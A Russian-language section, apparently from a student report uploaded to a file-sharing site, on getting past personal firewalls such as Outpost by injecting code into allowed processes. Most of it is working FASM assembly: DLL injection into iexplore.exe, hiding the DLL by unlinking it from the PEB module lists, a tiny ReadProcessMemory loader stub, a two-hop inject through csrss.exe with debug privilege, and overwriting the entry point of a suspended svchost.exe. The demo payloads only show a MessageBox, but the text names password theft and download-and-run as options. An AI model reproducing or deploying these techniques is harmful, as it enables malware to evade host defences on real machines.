Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
4,6 Firewalls Общая информация и применение пер...doc
Скачиваний:
2
Добавлен:
01.04.2025
Размер:
4.61 Mб
Скачать

4.4 Разработка алгоритмов воздействия на средства сетевой защиты изнутри защищенной сети

4.4.1 «Инъекции» кода

Инъекция (далее «Инежект») - запись исполняемого кода в другой процесс. Применительно к обходу персональных межсетевых экранов речь идёт о записи и исполнении своего кода в разрешённый межсетевым экраном процесс (обычно Internet Explorer) на компрометируемом хосте.

Виды инжекта:

  • Прямой инжект кода.

  • Инжект dll и скрытия ее из PEB.

  • Инжект в два прыжка.

  • Инжект в запускаемый процесс.

Одним из наиболее защищённых является Outpost FireWall. В нём используются абсолютно все механизмы защиты, встречающиеся в других МЭ. Поэтому для начала рассмотрим возможность атаки методом инжекта кода для Outpost FireWall, а затем оценим возможность применения использованных алгоритмов для построения универсального алгоритма инжекта.

Экспериментальным путем было установлено, что Outpost позволяет записать в память процесса не более 16 байт данных. Объяснить это можно тем, что системные службы могут производить запись в память процесса после его запуска, поэтому для исключения ложных срабатываний был введен порог в 16 байт. Имеющиеся 16 байт используются для имени dll (сама dll должна лежать в system32), после чего сделает CreateRemoteThread с lpStartAddress = LoadLibraryA установив lpParameter на локальный буфер.

Поиск процесса, в который будет производится инжект.

FindProcess:

push ebp

mov ebp, esp

sub esp, 13Ch

push esi

mov dword [ebp-13Ch], 128h

invoke CreateToolhelp32Snapshot, 2, 0

mov esi, eax

cmp eax, -1

jz @F

lea eax, [ebp-13Ch]

invoke Process32First, esi, eax

test eax, eax

jz @F

bb:

lea eax, [ebp-118h]

invoke lstrcmpi, eax, ProcessName

test eax, eax

jz pFound

lea eax, [ebp-13Ch]

invoke Process32Next, esi, eax

test eax, eax

jz @F

jmp bb

@@:

pop esi

leave

ret

pFound:

mov eax, [ebp-308]

jmp @B

Выделяется память и записывается имя dll и вызывается CreateRemoteThread:

ProcessName db 'iexplore.exe', 0

DllName db 'fwbdll.dll', 0

NameSize = $-DllName

entry $

call FindProcess

test eax, eax

jz @F

invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax

test eax, eax

jz @F

mov esi, eax

invoke VirtualAllocEx, esi, 0, 16, MEM_COMMIT+MEM_RESERVE, PAGE_READWRITE

test eax, eax

jz @F

mov edi, eax

invoke WriteProcessMemory, esi, edi, DllName, NameSize, 0

test eax, eax

jz @F

invoke CreateRemoteThread, esi, 0, 0, [LoadLibrary], edi, 0, 0

invoke CloseHandle, esi

@@:

ret

Содержимое файла dll содержит сообщение MessageBox, однако существует возможность создать отправку паролей с удаленного хоста, или загрузку и запуск файла.

format PE GUI 4.0 DLL

include '%fasminc%\win32a.inc'

text db 'Fuck you, world!', 0

caption db 'Dll inject', 0

entry $

cmp dword [esp+8], DLL_PROCESS_ATTACH

jnz @F

invoke MessageBox, 0, text, caption, 0

@@:

mov eax, 1

retn 0Ch

section '.idata' import data readable

library user32, 'user32.dll'

include '%fasminc%\apia\user32.inc'

section '.reloc' fixups data discardable

Однако контроль компонентов Outpost как и большинство других межсетевых экранов при запросе сетевого соединения проверяют список загруженных в процесс dll, и при наличии новых модулей (либо при изменении контрольной суммы старых) сигнализирует о тревоге, а это может вызвать подозрения. Следовательно следующим шагом станет обход контроля компонентов. Outpost получает список загруженных dll, этот список находится в PEB исправление списка дает возможность скрыть присутствие dll.

Неполное описание структуры PEB

struct PEB

InheritedAddressSpace db ?

ReadImageFileExecOptions db ?

BeingDebugged db ?

Spare db ?

Mutant dd ?

ImageBaseAddress dd ?

LoaderData dd ?

ProcessParameters dd ?

SubSystemData dd ?

ProcessHeap dd ?

FastPebLock dd ?

FastPebLockRoutine dd ?

FastPebUnlockRoutine dd ?

EnvironmentUpdateCount dd ?

KernelCallbackTable dd ?

SystemReserved dd ?

AtlThunkSListPtr32 dd ?

ends

В этой структуре есть элемент LoaderData, который является указателем на структуру PEB_LDR_DATA с которой начинаются двухсвязные списки загруженных моделей. Каждый загруженный модуль описывается структурой LDR_MODULE:

struct LDR_MODULE

InLoadOrderModuleList LIST_ENTRY ?

InMemoryOrderModuleList LIST_ENTRY ?

InInitializationOrderModuleList LIST_ENTRY ?

BaseAddress dd ?

EntryPoint dd ?

SizeOfImage dd ?

FullDllName UNICODE_STRING ?

BaseDllName UNICODE_STRING ?

Flags dd ?

LoadCount dw ?

TlsIndex dw ?

HashTableEntry LIST_ENTRY ?

TimeDateStamp dd ?

ends

Здесь присутствует три списка загруженных модулей, это InLoadOrderModuleList, InMemoryOrderModuleList и InInitializationOrderModuleList. Первые два содержат все инициализированные модули, а последний обычно пуст. Необходимо пройтись по списку InLoadOrderModuleList, сравнивая BaseAddress каждого модуля с hInstance найти используемый модуль, после чего удалить его из InLoadOrderModuleList и InMemoryOrderModuleList. С учетом всего вышесказанного, код используемой dll принимает следующий вид:

format PE GUI 4.0 DLL

include '%fasminc%\win32a.inc'

include 'structs.inc'

text db 'Fuck you, world!', 0

caption db 'Dll inject', 0

HideFromPeb: ; hInstance

push esi

push ebx

mov esi, [esp+0Ch]

mov eax, [fs:30h]

mov eax, [eax+PEB.LoaderData]

add eax, PEB_LDR_DATA.InLoadOrderModuleList

@@:

mov eax, [eax+LDR_MODULE.InLoadOrderModuleList.Flink]

cmp esi, [eax+LDR_MODULE.BaseAddress]

jnz @B

mov esi, [eax+LIST_ENTRY.Flink]

mov ebx, [eax+LIST_ENTRY.Blink]

mov [ebx+LIST_ENTRY.Flink], esi

mov esi, [eax+LIST_ENTRY.Blink]

mov ebx, [eax+LIST_ENTRY.Flink]

mov [ebx+LIST_ENTRY.Blink], esi

lea eax, [eax+LDR_MODULE.InMemoryOrderModuleList]

mov esi, [eax+LIST_ENTRY.Flink]

mov ebx, [eax+LIST_ENTRY.Blink]

mov [ebx+LIST_ENTRY.Flink], esi

mov esi, [eax+LIST_ENTRY.Blink]

mov ebx, [eax+LIST_ENTRY.Flink]

mov [ebx+LIST_ENTRY.Blink], esi

pop ebx

pop esi

ret

entry $

cmp dword [esp+8], DLL_PROCESS_ATTACH

jnz @F

push dword [esp+4]

call HideFromPeb

invoke MessageBox, 0, text, caption, 0

@@:

mov eax, 1

retn 0Ch

section '.idata' import data readable

library user32, 'user32.dll'

include '%fasminc%\apia\user32.inc'

section '.reloc' fixups data discardable

После проделанных операций Outpost Firewall не замечает инжектируемый код и наличие используемой dll.

Прямой инжект кода.

В 16 байт невозможно записать код выполняющий какие-либо полезные действия, но в 16 байт вполне можно уместить код который догрузит все остальное из необходимого процесса. В этом коде должен присутствовать всего лишь один вызов ReadProcessMemory, так как хэндл используемого процесса можно заранее скопировать с помощью DuplicateHandle. ReadProcessMemory принимает 5 параметров размером в dword, и кажется, что в 16 байт нельзя уместить даже эти параметры не говоря уже о коде. Но на самом деле достаточно будет всего 14 байт, если код загрузчика будет иметь такой вид:

push 0

push InjectSize

push esi

push InjectCode

push edi

call ebx

С помощью CreateRemoteThread создается поток в приостановленном состоянии (с флагом CREATE_SUSPENDED), а затем используя GetThreadContext/SetThreadContext заполняются регистры необходимыми параметрами. Остаток кода будет догружаться после call ebx. Пример такого инжекта показывающий MessageBox будет выглядеть так:

LoaderCode:

push 0

push InjectSize

push esi

push InjectCode

push edi

call ebx

LoaderSize = $-LoaderCode

InjectCode:

call $+5

pop esi

sub esi, $-InjectCode-1

push 0

lea eax, [esi+caption-InjectCode]

push eax

lea eax, [esi+text-InjectCode]

push eax

push 0

call [esi+p_MessageBox-InjectCode]

retn 4

p_MessageBox dd 0

text db 'Fuck you, world!', 0

caption db 'Code inject', 0

InjectSize = $-InjectCode

ProcessName db 'iexplore.exe', 0

align 4

context CONTEXT 0

entry $

push ebp

mov ebp, esp

sub esp, 8

mov eax, [MessageBox]

mov [p_MessageBox], eax

call FindProcess

test eax, eax

jz @F

invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax

test eax, eax

jz @F

mov [ebp-4], eax

invoke VirtualAllocEx, [ebp-4], 0, LoaderSize+InjectSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE

test eax, eax

jz @F

mov edi, eax

invoke WriteProcessMemory, [ebp-4], edi, LoaderCode, LoaderSize, 0

lea eax, [ebp-8]

invoke DuplicateHandle, -1, -1, [ebp-4], eax, 0, 0, DUPLICATE_SAME_ACCESS

invoke CreateRemoteThread, [ebp-4], 0, 0, edi, 0, CREATE_SUSPENDED, 0

mov esi, eax

mov [context.ContextFlags], CONTEXT_FULL

invoke GetThreadContext, esi, context

lea eax, [edi+LoaderSize]

mov [context.regEsi], eax

push dword [ebp-8]

pop [context.regEdi]

push [ReadProcessMemory]

pop [context.regEbx]

invoke SetThreadContext, esi, context

invoke ResumeThread, esi

invoke CloseHandle, esi

invoke CloseHandle, [ebp-4]

invoke Sleep, 100

@@:

leave

ret

Инжект в два прыжка

Во избежание ложных срабатываний межсетвые экраны не могут контролировать инжекты со стороны этого процесса csrss.exe. Следовательно можно сделать инжект в "два прыжка", сначала проинжектиться в csrss.exe, а затем из него в любой другой процесс. Для инжекта в csrss необходимо включить Debug привилегию, это делает следующий код:

PrivName db 'SeDebugPrivilege', 0

EnableDebugPrivilege:

push ebp

mov ebp, esp

sub esp, 24h

invoke OpenProcessToken, -1, 28h, esp

test eax, eax

jz @F

lea eax, [esp+8]

invoke LookupPrivilegeValue, 0, PrivName, eax

test eax, eax

jz @F

mov dword [esp+14h], 1

mov eax, [esp+8]

mov [esp+18h], eax

mov eax, [esp+0Ch]

mov [esp+1Ch], eax

mov dword [esp+20h], 2

lea eax, [esp+10h]

push eax

lea eax, [esp+18h]

push eax

push 10h

lea eax, [esp+20h]

push eax

push 0

mov eax, [esp+14h]

push eax

call [AdjustTokenPrivileges]

@@:

leave

ret

Для упрощения работы, создается таблица адресов необходимых API функций внутри инжект кода, и составляются макросы для простого вызова:

macro callx i {call dword [ebp+p_#i-CodeStart]}

macro invokex proc,[arg]

{ common

if ~ arg eq

reverse

pushd arg

common

end if

callx proc }

Этот код при запуске инжектит себя в csrss, а из него - в iexplore.exe, где и показывает MessageBox:

CodeStart:

call $+5

pop ebp

sub ebp, $-CodeStart-1

mov esi, [esp+4]

test esi, esi

jz mbox

invokex OpenProcess, PROCESS_ALL_ACCESS, 0, esi

test eax, eax

jz @F

mov esi, eax

invokex VirtualAllocEx, esi, 0, CodeSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE

test eax, eax

jz @F

mov edi, eax

push [ebp+InjParam-CodeStart]

mov [ebp+InjParam-CodeStart], 0

invokex WriteProcessMemory, esi, edi, ebp, CodeSize, 0

pop eax

invokex CreateRemoteThread, esi, 0, 0, edi, eax, 0, 0

invokex CloseHandle, esi

jmp @F

mbox:

lea eax, [ebp+caption-CodeStart]

lea ebx, [ebp+text-CodeStart]

invokex MessageBox, 0, ebx, eax, 0

@@:

retn 4

text db 'Fuck you, world!', 0

caption db 'TwoJump inject', 0

p_OpenProcess dd 0

p_VirtualAllocEx dd 0

p_WriteProcessMemory dd 0

p_CreateRemoteThread dd 0

p_CloseHandle dd 0

p_MessageBox dd 0

InjParam dd 0

CodeSize = $-CodeStart

Заполнение адресов в таблице API, определение PID необходимых процессов и вызов кода выглядит так:

ProcessName dd 0

fProc db 'csrss.exe', 0

sProc db 'iexplore.exe', 0

entry $

call EnableDebugPrivilege

mov eax, [OpenProcess]

mov [p_OpenProcess], eax

mov eax, [WriteProcessMemory]

mov [p_WriteProcessMemory], eax

mov eax, [CreateRemoteThread]

mov [p_CreateRemoteThread], eax

mov eax, [VirtualAllocEx]

mov [p_VirtualAllocEx], eax

mov eax, [CloseHandle]

mov [p_CloseHandle], eax

mov eax, [MessageBox]

mov [p_MessageBox], eax

mov [ProcessName], sProc

call FindProcess

test eax, eax

jz @F

mov [InjParam], eax

mov [ProcessName], fProc

call FindProcess

test eax, eax

jz @F

push eax

call CodeStart

@@:

ret

Универсальный метод инжекта в запускаемый процесс.

Для практического использования необходимо иметь универсальный метод, работающий против всех персональных межсетевых экранов. Для построения такого метода рассмотрим возможность инжекта в новый запускаемый процесс. Запуск процесса состоит из следующих стадий:

1) Разбор параметров переданных в CreateProcessW, открытие исполнимого файла и определение его типа. На этом этапе определяется является ли запускаемый файл dos или win16 файлом (для них запускается ntvdm.exe и wowexec.exe соответственно), для .bat и .cmd файлов запускается cmd.exe. В дальнейшем считается, что запускается обычный win32 PE файл.

2) Производиться открытие исполнимого файла с помощью ZwOpenFile.

3) Из открытого файла создается секция с атрибутом SEC_IMAGE с помощью вызова ZwCreateSection.

4) С помощью ZwQuerySection извлекаются атрибуты стека и точки входа запускаемого процесса.

5) Создается объект нового процесса с помощью ZwCreateProcess. На уровне ядра в этот момент происходит создание адресного пространства и структуры EPROCESS. Важно заметить, что в этот момент процесс еще не имеет своих потоков и не может исполняться.

6) Происходит установка приоритета процесса с помощью ZwSetInformationProcess.

7) С помощью ZwQueryInformationProcess извлекается выданный системой адрес PEB нового процесса.

8) Производится заполнение PEB и дуплицирование хэндлов ввода-вывода (только для консольных программ). В этот момент многократно вызывается ZwAlocateVirtualMemory, ZwReadVirtualMemory и ZwWriteVirtualMemory.

9) Производиться выделение памяти под стек первичного потока и подготовка его стартового контекста.

10) С помощью ZwCreateThread создается первичный поток.

11) Подсистема win32 (csrss.exe) информируется о старте нового процесса через LPC сообщения. На верхнем уровне этим заведует функция CsrClientCallServer, которая в свою очередь вызывает ZwRequestWaitReplayPort.

12) Первичный поток запускается на исполнение с помощью ZwResumeThread.

На этапе 8 производиться запись в память запускаемого процесса со стороны родительского процесса, поэтому межсетевые экраны включают контроль инжектов позднее. На основании этого факта есть возможность построить методику инжектов в запускаемый процесс, которая сможет обойти контроль большинства межсетевых экранов

С учетом всего вышесказанного, код производящий инжект описанным способом будет выглядеть так:

format PE GUI 4.0

include '%fasminc%\win32a.inc'

section '.code' code readable writeable executable

stri STARTUPINFO ?

prci PROCESS_INFORMATION ?

szSvchost db 'svchost.exe', 0

injcode file 'code.bin'

codesize = $-injcode

oldp dd 0

entry $

mov [stri.cb], sizeof.STARTUPINFO

invoke CreateProcess, 0, szSvchost, 0, 0, 0, CREATE_SUSPENDED, 0, 0, stri, prci

test eax, eax

jz @F

invoke LoadLibraryEx, szSvchost, 0, DONT_RESOLVE_DLL_REFERENCES

test eax, eax

jz @F

add eax, [eax+3Ch]

mov edi, [eax+28h]

add edi, [eax+34h]

invoke VirtualProtectEx, [prci.hProcess], edi, codesize, PAGE_EXECUTE_READWRITE, oldp

invoke WriteProcessMemory, [prci.hProcess], edi, injcode, codesize, 0

invoke ResumeThread, [prci.hThread]

@@:

ret

section '.idata' import data readable writeable

library kernel32, 'kernel32.dll'

include '%fasminc%\apia\kernel32.inc'

Такой способ с соответствующими корректировками можно применять с другими межсетевыми экранами, рассматриваемыми в работе.